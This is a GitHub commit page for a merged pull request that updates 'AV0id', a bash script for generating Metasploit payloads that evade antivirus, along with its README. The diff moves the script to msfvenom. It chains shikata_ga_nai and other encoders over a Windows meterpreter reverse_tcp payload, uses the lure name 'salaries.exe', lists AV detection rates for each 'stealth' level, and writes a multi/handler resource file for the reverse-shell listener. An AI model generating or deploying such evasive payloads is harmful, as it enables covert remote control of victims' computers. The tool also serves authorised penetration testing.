Skip to content

Commit

Permalink
Merge pull request #6 from Jsitech/master
Browse files Browse the repository at this point in the history
Removed Deprecated Commands
  • Loading branch information
Ollie committed Aug 2, 2015
2 parents 48ef2b4 + ec0f051 commit 47e6f77
Show file tree
Hide file tree
Showing 2 changed files with 47 additions and 16 deletions.
14 changes: 14 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,20 @@ https://github.com/nccgroup/metasploitavevasion

Released under AGPL see LICENSE for more information

===================================
Updated 08/2015 by Jason Soto, jason_soto [AT] jsitech [DOT] com

Removed Deprecated Commands in favor of MsfVenom

www.jsitech.com

https://github.com/jsitech

Twitter = @JsiTech

Tested on Kali Linux



Installing
=======================
Expand Down
49 changes: 33 additions & 16 deletions avoid.sh
Original file line number Diff line number Diff line change
@@ -1,11 +1,19 @@
#!/usr/bin/env bash
# AV0id - Metapsloit Payload Anti-Virus Avasion
# AV0id - Metapsloit Payload Anti-Virus Evasion
# Daniel Compton
# www.commonexploits.com
# info@commexploits.com
# Twitter = @commonexploits
# 05/2013
# Tested on Bactrack 5 and Kali only.
# Tested on Bactrack 5 and Kali only

####################################################################################
# Updated 08/2015
# Removed Deprecated Commands in favor of MsfVenom
# Jason Soto
# www.jsitech.com
# Twitter = @JsiTech
# Tested on Kali Linux

#####################################################################################
# Released as open source by NCC Group Plc - http://www.nccgroup.com/
Expand All @@ -23,14 +31,13 @@
# User options
OUTPUTNAME="salaries.exe" # The payload exe created name
PAYLOAD="windows/meterpreter/reverse_tcp" # The payload to use
MSFPAYLOAD=`which msfpayload` # Path to the msfpayload script
MSFENCODE=`which msfencode` # Path to the msfencode script
MSFCLI=`which msfcli` # Path to the msfcli script
MSFVENOM=`which msfvenom` # Path to the msfvenom script
MSFCONSOLE=`which msfconsole` # Path to the msfconsole script

# Script begins
#===============================================================================

VERSION="1.5"
VERSION="2.0"

# spinner for Metasploit Generator
spinlong ()
Expand Down Expand Up @@ -84,7 +91,7 @@ else
fi

#Check for Metasploit
if [[ "$MSFPAYLOAD" != "" || "$MSFENCODE" != "" || "$MSFCLI" != "" ]]; then
if [[ "$MSFVENOM" != "" || "$MSFCONSOLE" != "" ]]; then
echo ""
else
echo ""
Expand Down Expand Up @@ -132,7 +139,7 @@ fi
ITER=`shuf -i 10-20 -n 1`

echo -e "\e[1;31m---------------------------------------------------------------------------------------------------------\e[00m"
echo -e "\e[01;31m[?]\e[00m What system do you want the Metasploit listenter to run on? Enter 1 or 2 and press enter"
echo -e "\e[01;31m[?]\e[00m What system do you want the Metasploit listener to run on? Enter 1 or 2 and press enter"
echo -e "\e[1;31m---------------------------------------------------------------------------------------------------------\e[00m"
echo ""
echo " 1. Use my current system and IP address"
Expand Down Expand Up @@ -186,21 +193,21 @@ echo -e "\e[01;32m[-]\e[00m Generating Metasploit payload, please wait..."
echo ""
spinlong
#Payload creater
$MSFPAYLOAD "$PAYLOAD" LHOST="$IP" LPORT="$PORT" EXITFUNC=thread R | $MSFENCODE -e x86/shikata_ga_nai -c $ITER -t raw 2>/dev/null | $MSFENCODE -e x86/jmp_call_additive -c $ITER -t raw 2>/dev/null | $MSFENCODE -e x86/call4_dword_xor -c $ITER -t raw 2>/dev/null | $MSFENCODE -e x86/shikata_ga_nai -c $ITER -t c > msf.c 2>/dev/null
$MSFVENOM -p "$PAYLOAD" LHOST="$IP" LPORT="$PORT" EXITFUNC=thread -f raw | $MSFVENOM -e x86/shikata_ga_nai -i $ITER -f raw 2>/dev/null | $MSFVENOM -e x86/jmp_call_additive -i $ITER -a x86 --platform linux -f raw 2>/dev/null | $MSFVENOM -e x86/call4_dword_xor -i $ITER -a x86 --platform win -f raw 2>/dev/null | $MSFVENOM -e x86/shikata_ga_nai -i $ITER -a x86 --platform win -f c > msf.c 2>/dev/null
echo ""
echo ""
# Menu
echo -e "\e[1;31m--------------------------------------------------------------------------------------------\e[00m"
echo -e "\e[01;31m[?]\e[00m How stealthy do you want the file? Enter 1, 2, 3, 4 or 5 and press enter"
echo -e "\e[1;31m--------------------------------------------------------------------------------------------\e[00m"
echo ""
echo " 1. Normal - about 400K payoad - fast compile - 13/46 A.V. products detected as malicious"
echo " 1. Normal - about 400K payoad - fast compile - 22/55 A.V. products detected as malicious"
echo ""
echo " 2. Stealth - about 1-2 MB payload - fast compile - 12/46 A.V. products detected as malicious"
echo " 2. Stealth - about 1-2 MB payload - fast compile - 21/55 A.V. products detected as malicious"
echo ""
echo " 3. Super Stealth - about 10-20MB payload - fast compile - 11/46 A.V. detected as malicious"
echo " 3. Super Stealth - about 10-20MB payload - fast compile - 20/55 A.V. detected as malicious"
echo ""
echo " 4. Insane Stealth - about 50MB payload - slower compile - 10/46 A.V. detected as malicious"
echo " 4. Insane Stealth - about 50MB payload - slower compile - 19/55 A.V. detected as malicious"
echo ""
echo " 5. Desperate Stealth - about 100MB payload - slower compile - Not tested with A.V."
echo ""
Expand Down Expand Up @@ -329,14 +336,24 @@ echo ""
if [ "$INTEXT" = "1" ]; then
echo -e "\e[01;32m[-]\e[00m Loading the Metasploit listener on \e[01;32m$IP:$PORT\e[00m, please wait..."
echo ""
$MSFCLI exploit/multi/handler PAYLOAD="$PAYLOAD" LHOST="$IP" LPORT="$PORT" E 2>/dev/null
echo 'use exploit/multi/handler' >> msfhandler.rc
echo "set payload $PAYLOAD" >> msfhandler.rc
echo "set LHOST $IP" >> msfhandler.rc
echo "set LPORT $PORT" >> msfhandler.rc
echo 'exploit' >> msfhandler.rc
$MSFCONSOLE -r msfhandler.rc
else
echo ""
echo -e "\e[01;32m[-]\e[00m Run the following code on your listener system:"
echo -e "\e[01;32m[-]\e[00m Use msfhandler.rc as msfconsole resource on your listener system:"
echo ""
echo 'use exploit/multi/handler' >> msfhandler.rc
echo "set payload $PAYLOAD" >> msfhandler.rc
echo "set LHOST $IP" >> msfhandler.rc
echo "set LPORT $PORT" >> msfhandler.rc
echo 'exploit' >> msfhandler.rc
echo -e "\e[01;32m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\e[00m"
echo ""
echo "$MSFCLI exploit/multi/handler PAYLOAD="$PAYLOAD" LHOST="$IP" LPORT="$PORT" E"
echo "$MSFCONSOLE -r msfhandler.rc"
echo ""
echo -e "\e[01;32m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\e[00m"
echo ""
Expand Down

0 comments on commit 47e6f77

Please sign in to comment.